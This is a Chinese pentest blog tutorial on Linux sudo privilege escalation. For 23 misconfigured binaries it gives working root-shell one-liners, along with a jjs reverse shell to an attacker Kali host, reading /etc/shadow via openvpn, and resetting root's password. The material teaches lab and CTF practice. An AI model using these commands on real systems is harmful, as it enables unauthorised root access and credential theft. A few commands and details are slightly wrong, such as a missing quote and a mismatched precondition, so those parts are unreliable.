渗透测试:Linux提权精讲(三)之sudo方法第三期

news2024/9/23 7:23:13

目录

写在开头

sudo jjs

sudo journalctl

sudo knife

sudo less

sudo man

sudo more

sudo mount

sudo mysql

sudo nano

sudo neofetch

sudo nice

sudo nmap

sudo node

sudo nohup

sudo openvpn

sudo passwd

sudo perl

sudo php

sudo pico

sudo pkexec

sudo python3

sudo rvim

sudo scp

总结与思考 

写在开头

 本文在前两篇博客的基础上继续讲解渗透测试的sudo提权方法。相关内容的介绍与背景详见:

渗透测试:Linux提权精讲(一)之sudo方法第一期_Bossfrank的博客-CSDN博客

渗透测试:Linux提权精讲(二)之sudo方法第二期_Bossfrank的博客-CSDN博客

 本文将在红队笔记大佬讲解与GTFOBins开源项目(详见GTFOBins)的基础上,继续对Linux系统靶机的sudo提权方式进行简要总结。这里还是首先给出红队笔记大佬的视频链接:

「红队笔记」Linux提权精讲:Sudo风暴 - Sudo风暴第2部分,扫地僧级别心法,研究提权技术的同时,打磨你对linux内核的深度理解。渗透测试宝典。_哔哩哔哩_bilibili

 文末的总结与思考模块会对本篇涉及到的提权方法进行分类,并总结sudo提权的思路与逻辑,未必描述的完全恰当,仅是我的个人理解,也欢迎读者评论与私信共同探讨。

sudo jjs

漏洞利用前提 

当前用户可以以sudo高级权限运行jjs,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/jjs

  利用详情可见jjs | GTFOBins,不过据红队笔记大佬说GTFOBins上的利用方式有点问题,收不到反弹shell。jjs是javascript shell的缩写。

操作方式 
 由于直接运行GTFOBins的指令会卡死,本操作方式结合了jjs | GTFOBins的逻辑,并使用Reverse Shell Cheat Sheet | pentestmonkey的java反弹shell编写方式。

echo "Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/kali的ip/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done']).waitFor()" | sudo jjs

 逻辑就是将一个脚本输出到jjs中,而jjs具有sudo权限,执行此反弹shell的逻辑会反弹root的shell。执行之前别忘了在kali中开启nc监听1234端口:

nc -lvnp 1234

 即可收到反弹shell。注意此时收到的反弹shell可能交互性不完全,可以输入bash启动bash的shell增强交互性。

sudo journalctl

漏洞利用前提 

当前用户可以以sudo高级权限运行journalctl,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /bin/journalctl

同时感叹号!执行系统命令的功能不可被禁用。 

journalctl是systemctl体系下用于管理系统日志的工具,在较新的linux发行版中都会有。利用详情可见journalctl | GTFOBins

操作方式 

先直接sudo执行journalctl:

sudo journalctl

然后发现进入了查看系统日志的界面,该界面的底层采用了和less命令相似的机制,都可以之间键入感叹号!输入系统命令,因此直接输入:

!/bin/bash

即可实现提权。如果感叹号!执行系统命令的功能被禁用了,则无法提权。

sudo knife

漏洞利用前提 

当前用户可以以sudo高级权限运行knife,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/knife

knife是chef的命令行接口,可以与chef的服务器进行交互,chef是一个服务器等基础设施的自动化管理和配置工具。利用详情可见knife | GTFOBins

操作方式 

sudo knife exec -E 'exec "/bin/bash"'

 其中exec是knife的子命令,-E参数引入ruby语言格式的字符串(knife是基于ruby语言编写的),表示要执行的命令。执行即可提权。

sudo less

漏洞利用前提 

当前用户可以以sudo高级权限运行less,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/less

 less是常见的用于读取文件的工具,前面已经提到了许多类似less机制的提权,都是利用了读取文件时可以键入系统命令启动shell,利用详见less | GTFOBins

操作方式 

可以先建立一个临时文件 

mktemp ./XXX

 然后应该可以看到这个临时文件的名字,比如./tE70f,然后用sudo less读取这个临时文件:

sudo less tE70f

进入读的界面后,键入感叹号表示输入系统命令,启动bash即可提权:

!/bin/bash

 当然也可以直接随便读取个文件,然后输入!/bin/bash,这里描述的采用临时文件的方法有助于渗透测试过程中对自身痕迹的隐藏。

sudo man

漏洞利用前提 

当前用户可以以sudo高级权限运行man,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/man

 man是常用的用于查看linux命令帮助的工具,提权利用也是类似less的机制,利用详见man | GTFOBins

操作方式 

首先随便输入用sudo man查看一个linux命令,这里以ls为例:

sudo man ls

进入帮助界面后,也是键入!可以运行系统命令,类似less的机制即可提权:

!/bin/bash

sudo more

漏洞利用前提 

当前用户可以以sudo高级权限运行more,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/more

 more和less类似,都是用于读取文件,提权利用也是类似less的机制,利用详见more | GTFOBins

操作方式 

还是通过临时文件的方法,先建立一个临时文件:

mktemp ./xxx

 应该可以看到这个临时文件的名字,比如./7aADd,此时由于这个临时文件是空的,用more读取不会看到任何的结果,因此我们可以先将某个文件重定向到这个临时文件,这里假设bossfrank是一个已有的文件:

yes bossfrank > 7aADd

然后通过more读取,并用!启动bash:

sudo more 7aADd
!/bin/bash

同样,使用临时文件便于隐藏痕迹。单纯为了提权也可以直接读取系统的文件。

sudo mount

漏洞利用前提 

当前用户可以以sudo高级权限运行mount,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/mount

mount常用于文件挂载,可以挂载磁盘也可以挂载共享文件目录,利用详见mount | GTFOBins

操作方式 

sudo mount -o bind /bin/bash /bin/mount

-o意思是option指定选项,bind用于绑定,将bash绑定到mount中,这样只要再次sudo运行mount即可提权:

sudo mount

sudo mysql

漏洞利用前提 

当前用户可以以sudo高级权限运行mysql,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/mysql

类似mysql这种关键应用常常有执行系统命令的操作,利用详见mysql | GTFOBins

操作方式 

sudo mysql -e '\! /bin/sh'

 其中-e表示执行系统命令,感叹号!表示开始执行系统命令,由于在bash语句中的感叹号!表示访问历史记录,因此要对感叹号!使用反斜杠\进行转义。

sudo nano

漏洞利用前提 

当前用户可以以sudo高级权限运行nano,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/nano

nano是一个文本编辑器,其提权方式非常典型。许多工具底层都会调用nano,因此这是一类的提权方式。利用详见nano | GTFOBins

操作方式 

启动nano,可以在nano编辑器底部看到如下的菜单:

sudo nano

 输入ctrl + r选择读取文件Read File,进入读取文件的界面,其下部的菜单如下:

 此处可以看到,输入ctrl + x进入Execute Command执行命令界面,然后我们只要输入要执行的系统命令即可:

reset;bash 1>&0 2>&0

 首先reset重置环境变量,然后启动bash并将输出和错误信息重定向,即可提权。

sudo neofetch

漏洞利用前提 

当前用户可以以sudo高级权限运行neofetch,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/neofetch

neofetch本身是一个用于显示系统配置信息的命令行工具,可以通过自定义配置文件改变输出的信息和格式,实现提权,利用详见neofetch | GTFOBins

操作方式 

先声明一个变量TF,指向一个新建的临时文件:

TF=$(mktemp)

 将提权逻辑写入临时文件中:

echo 'exec /bin/bash' >$TF

 最后sudo运行neofetch,同时指定这个配置文件:

sudo neofetch --config $TF

 neofetch的配置文件只能通过指定文件的方式进行,因此提权逻辑只能写在文件中,无法在上述语句中直接添加执行系统命令的明文指令。运行上述指令即可提权。

sudo nice

漏洞利用前提 

当前用户可以以sudo高级权限运行nice,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/nice

nice命令本身用于修改进程的优先级(优先级最高-20,最低19,默认为10),利用详见nice | GTFOBins

操作方式 

直接可以启动bash:

sudo nice /bin/bash

运行即可提权。

sudo nmap

漏洞利用前提 

当前用户可以以sudo高级权限运行nmap,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/nice

nmap是常见的端口扫描工具,其中可以自定义脚本,利用详见nmap | GTFOBins

操作方式 

nmap有许多版本,也有不同的提权方式,这里给出其中一种:首先声明一个变量TF,指向一个新建的临时文件:

TF=$(mktemp)

将提权逻辑echo到这个临时文件:

echo 'os.execute("/bin/sh")' > $TF

sudo运行nmap并指定我们编写的提权脚本:

sudo nmap --script=$TF

sudo node

漏洞利用前提 

当前用户可以以sudo高级权限运行node,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/node

node命令用于运行Node.js,利用详见node | GTFOBins

操作方式 

Node.js的选项-e可以进行提权操作:

sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

用-e指定字符串,字符串是Node.js的代码。执行上述命令即可提权。

sudo nohup

漏洞利用前提 

当前用户可以以sudo高级权限运行nohup,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/nohup

nohup命令主要用于作业管理,nohup可以运行命令的同时忽略挂起的信号(比如用nohup启动进程后,当终端关闭之后,进程依旧运行),利用详见nohup | GTFOBins

操作方式 

sudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"

 先用nohup启动/bin/bash会话,其中-c参数对进程进行管理,将bash的输入输出重定向。运行即可提权。

sudo openvpn

漏洞利用前提 

当前用户可以以sudo高级权限运行openvpn,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/sbin/openvpn

openvpn的利用详见openvpn | GTFOBins

操作方式 

openvpn可以通过参数读取配置文件,如果可以sudo,则能够以root身份读取系统的敏感文件:

sudo openvpn --config /etc/shadow

 结果会报错,但报错信息会暴露敏感信息的第一行,即/etc/shadow的第一行,我们可以据此拿到root账户的密码hash,再用john找个字典破解即可(未必能破解出来)。

sudo passwd

漏洞利用前提 

当前用户可以以sudo高级权限运行修改密码指令passwd,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/passwd

passwd的利用就是直接修改密码。

操作方式 

既然可以sudo运行passwd,那咱可以直接把root的密码改掉:

sudo passwd

 然后输入两次密码,就可以用我们的新密码su提权了。虽然看着有点离谱,但是真实情况还真有可能出现这种配置情况:低权限的管理员需要修改系统的密码,就会给自己设置passwd的sudo权限。

sudo perl

漏洞利用前提 

当前用户可以以sudo高级权限运行perl语言,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/perl

利用详见perl | GTFOBins。

操作方式 

perl是一种脚本语言,提权方式有很多。以如下为例:

sudo perl -e 'exec "/bin/sh";'

 perl语言有-e参数,用于直接执行perl脚本,按照这种方式,直接执行启动bash即可,运行上述命令即可直接提权。

sudo php

漏洞利用前提 

当前用户可以以sudo高级权限运行php,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/php

利用详见php | GTFOBins

操作方式 

 php也是常见的语言,在渗透测试过程中更是尤为常见。我们应该能想到许多提权语句。这里采用一种简单直观的,直接用-r参数启动bash。在web渗透中这些操作也是非常实用的。

sudo php -r "system('/bin/bash');"

在web渗透中这些操作也是非常实用的。

sudo pico

漏洞利用前提 

当前用户可以以sudo高级权限运行pico,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/pico

pico和nano非常相似,也是一种编辑器(功能与nano有差异),利用详见pico | GTFOBins

操作方式 

这里的操作和nano的提权方式基本一致,懒得讲了,总之就是如下命令:

sudo pico
^R^X
reset; bash 1>&0 2>&0

其中ctrl + r选择Read File模式,ctrl + x选择执行命令Execute Commend

sudo pkexec

漏洞利用前提 

当前用户可以以sudo高级权限运行pkexec,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/pkexec

pk就是policykit策略套件的简称,是一种用于管理系统策略的服务。policykit可以允许非特权进程通信以进行特权操作。利用详见pkexec | GTFOBins

操作方式 

pkexec这个工具可以进行权限相关的操作,执行用户指定的程序,这里就是启动bash

sudo pkexec /bin/bash

执行即可提权。

sudo python3

漏洞利用前提 

当前用户可以以sudo高级权限运行python3,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/python3

python也是常见大型语言,利用详见python | GTFOBins

操作方式

我们通常用python语句进行反射,提高shell的交互性,这里也可以直接利用语句启动shell:

sudo python3 -c "import os;os.system('/bin/bash)"

执行即可提权。提权方式有很多,这里仅仅是其中一种。

sudo rvim

漏洞利用前提 

当前用户可以以sudo高级权限运行rvim,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/rvim

rvim是vim编辑器的一个特定版本,其中表示restricted受限模式,在rvim中的操作相比于vim,做了很多限制,禁用了许多可能危害系统的命令。利用详见rvim | GTFOBins

操作方式

sudo rvim -c ':py import os; os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'

执行即可提权,单引号中的内容是通过python编写启动shell会话的代码,其中冒号:是vim的语法,表示执行系统命令。

sudo scp

漏洞利用前提 

当前用户可以以sudo高级权限运行scp,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/scp

scp是secure copy的缩写,用于Linux中的基于ssh的远程文件复制,功能类似与cp,但可以跨服务器复制。利用详见scp | GTFOBins

操作方式

提权时需要指定参数-S,表示指定SSH程序,可在其中指定ssh逻辑。先用一个变量TF指向临时文件:

TF=$(mktemp)

然后将提权逻辑写到临时变量中

echo 'bash 0<&2 1>&2' > $TF

给变量(临时文件)添加执行权限:

chmod +x "$TF"

然后用-S参数指定临时文件,此处的$TF是作为ssh程序给出,同时要指定源文件和目标文件,由于我们只是想提权,并不想真的copy,因此随便写一个x和y即可,冒号:用于区分本地文件和远程文件。

sudo scp -S $TF x y:

执行即可提权。

总结与思考 

 本文介绍了23种常见的sudo提权方式,主要还是利用了系统对可执行文件/工具的高权限配置,使得低权限的用户(初始靶机shell)能够以root权限sudo免密执行高权限的指令。相信通过本文的介绍,希望读者能够对提权的本质:低权限用户因为某种原因(配置/漏洞)能够运行高权限的指令/工具/脚本,有更为直观的理解。最后决定还是将本文的12种提权方式强行来一个归类总结,纯属个人理解,如果有总结不到位的地方还请读者多多指出。
 

可直接执行系统命令:sudo nice, sudo nohup, sudo pkexec

通过某些参数间接执行系统命令:sudo knife, sudo mount, sudo rvim, sudo mysql

基于某种语言:sudo perl, sudo php, sudo python, sudo node, sudo jjs

类似在less环境执行系统命令: sudo less, sudo more, sudo journalctl, sudo man

类似nano的编辑器环境执行系统命令:sudo nano,  sudo pico

通过报错读取敏感文件:sudo openvpn

通过指定配置文件/脚本执行系统命令:sudo neofetch, sudo nmap, sudo scp

直接修改敏感文件:sudo passwd

 其实多数情况都是通过某种方式执行了系统的命令。至于是以哪种方式执行(直接/脚本/配置文件/在编辑器环境等)其实也没有特别明确的界限。 因此可能我的有些归类也略显牵强,大家只要理解提权的逻辑即可。

 这篇博客到这里就结束了,总结真的不易,还请读者多多点赞关注支持! 本文所提到的提权方式我暂未全部实践过,可能还需要长期的渗透测试打靶与实践才能遇到这么多种情况吧。近期我将继续总结有关Linux提权相关的方法、也会继续坚持打靶,还望读者多多支持。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/823631.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络知识介绍

一、TCP 传输控制协议&#xff0c;Transmission Control Protocol。 面向广域网的通信协议&#xff0c;跨域多个网络通信时&#xff0c;为两个通信端点之间提供一条具有如下特点的通信方式&#xff1a; 基于流、面向连接、可靠通信方式、网络状况不佳时尽量降低系统由于重传带…

二十三种设计模式第二十三篇--状态模式

状态模式&#xff0c;是一种行为模式&#xff0c;在软件开发过程中&#xff0c;对象按照不同的情况做出不同的行为&#xff0c;我们把这样的对象称为具有状态的对象&#xff0c;而把影响对象行为的一个或者多个动态变化的属性称为状态。 对这种具有状态的对象变成&#xff0c;…

《Java面向对象程序设计》学习笔记——第 1 章 Java入门

专栏&#xff1a;《Java面向对象程序设计》学习笔记

第28天-Kubernetes架构,集群部署,Ingress,项目部署,Dashboard

1.K8S集群部署 1.1.k8s快速入门 1.1.1.简介 Kubernetes简称k8s&#xff0c;是用于自动部署&#xff0c;扩展和管理容器化应用程序的开源系统。 中文官网&#xff1a;https://kubernetes.io/zh/中文社区&#xff1a;https://www.kubernetes.org.cn/官方文档&#xff1a;https…

git管理工具学习(图解使用git工作流程)

目录 GIT 简介一个最简单的GIT操作流程git的工作流程&命令 GIT 简介 git是什么&#xff0c;在维基百科上是这么介绍的&#xff1a;git是一个分布式的版本控制软件 分布式是相对于集中式而言的&#xff0c;分布式即每一个git库都是一个完整的库。 每个库的地位都是平等的&am…

STM32存储左右互搏 I2C总线读写EEPROM ZD24C1MA

STM32存储左右互搏 I2C总线读写EEPROM ZD24C1MA 在较低容量存储领域&#xff0c;EEPROM是常用的存储介质&#xff0c;不同容量的EEPROM的地址对应位数不同&#xff0c;在发送字节的格式上有所区别。EEPROM是非快速访问存储&#xff0c;因为EEPROM按页进行组织&#xff0c;在连…

c 语言解析 时间字符串

#include <iostream> #include <ctime>int main(int argc, char *argv[]) {struct tm timeinfo;char cur_time[] "current time: 2021-09-06 23:50:13";// 解析时间到timeinfo中strptime(cur_time, "current time: %Y-%m-%d %H:%M:%S", &…

数据库管理员知识图谱

初入职场的程序猿&#xff0c;需要为自己做好职业规划&#xff0c;在职场的赛道上&#xff0c;需要保持学习&#xff0c;并不断点亮自己的技能树。  成为一名DBA需要掌握什么技能呢&#xff0c;先让Chat-GPT为我们回答一下&#xff1a; 数据库管理系统 (DBMS)知识&#xff…

加强Web应用程序安全:防止SQL注入

数据库在Web应用程序中存储和组织数据时起着至关重要的作用&#xff0c;它是存储用户信息、内容和其他应用程序数据的中央存储库。而数据库实现了高效的数据检索、操作和管理&#xff0c;使Web应用程序能够向用户提供动态和个性化的内容。然而&#xff0c;数据库和网络应用程序…

微信小程序原生写法传递参数

微信小程序原生写法传递参数 data-xxx 自定义参数名 &#xff0c;接收参数&#xff1a;方法&#xff08;变量名&#xff09; checkVip:function(event) {let that thisconsole.log(event,event)console.log(event.currentTarget.dataset.idx,index)let index Number(eve…

SpringBoot复习:(13)Banner是怎么打印出来的?

SpringApplication的run方法代码&#xff1a; public ConfigurableApplicationContext run(String... args) {long startTime System.nanoTime();DefaultBootstrapContext bootstrapContext createBootstrapContext();ConfigurableApplicationContext context null;configur…

<C++> 三、内存管理

1.C/C内存分布 我们先来看下面的一段代码和相关问题 int globalVar 1; static int staticGlobalVar 1; void Test() {static int staticVar 1;int localVar 1;int num1[10] {1, 2, 3, 4};char char2[] "abcd";const char *pChar3 "abcd";int *ptr1…

重学C++系列之异常

一、什么是异常 异常一般是指程序运行期发生的非正常情况。异常一般是不可预测的&#xff0c;如&#xff1a;内存不足&#xff0c;打开文件失败&#xff0c;数组越界&#xff0c;范围溢出等。 在某段程序发生无法继续正常执行的情况时&#xff0c;C允许程序进行所谓抛出异常&am…

实现Feed流的三种模式:拉模式、推模式和推拉结合模式

在互联网产品中&#xff0c;Feed流是一种常见的功能&#xff0c;它可以帮助我们实时获取我们关注的用户的最新动态。Feed流的实现有多种模式&#xff0c;包括拉模式、推模式和推拉结合模式。在本文中&#xff0c;我们将详细介绍这三种模式&#xff0c;并通过Java代码示例来实现…

0801|IO进程线程day4(文件IO函数)

作业1&#xff1a;从终端获取一个文件的路径以及名字 若该文件是目录文件&#xff0c;则将该文件下的所有文件的属性显示到终端&#xff0c;类似ls -l该文件夹若该文件不是目录文件&#xff0c;则显示该文件的属性到终端上&#xff0c;类似ls -l这单个文件 以下代码只能跑本目录…

IDEA中修改类头的文档注释信息

IDEA中修改类头的文档注释信息 选择File--Settings--Editor--File and Code Templates--Includes&#xff0c;可以把文档注释写成这种的 /**author: Arbicoralcreate: ${YEAR}-${MONTH}-${DAY} ${TIME}Description: */这样回看就可以很清楚的看到自己创建脚本的时间&#xff…

Vue2 第十三节 使用Vue脚手架(一)

1.初始化脚手架 2.分析脚手架结构 3.修改默认配置 一.初始化脚手架 1.Vue脚手架式Vue官方提供的标准化开发工具 2.具体步骤 ① 如果下载缓慢&#xff0c;需要配置npm淘宝镜像 npm config set registry http://registry.npm.taobao.org ② 全局安装: npm install -g vu…

Jenkins配置流水线

一、新建任务 这个任务名称将会是Jenkins的workspace路径下的一个目录&#xff0c;如我建立了一个test任务&#xff0c;那么Jenkins会生成一个/jenkins_home/workspace/test目录&#xff0c;用来拉取代码编译等。所以请谨慎设置任务名称。

直线模组如何进行精度校准?

直线模组是一种高精度的传动元件&#xff0c;而精度是直线模组的重要指标&#xff0c;在直线模组的使用中&#xff0c;我们应该尽可能的避免直线模组的精度受损&#xff0c;这样才能够有真正的发挥出直线模组的稳定性。 直线模组的精度一般是指重复定位精度和导向精度&#xff…

puppeteer监听response并封装为express服务调用

const express require(express); const puppeteer require(puppeteer); const app express(); let browser; // 声明一个全局变量来存储浏览器实例app.get(/getInfo, async (req, res) > {try {const page_param req.query.page; // 获取名为"page"的查询参数…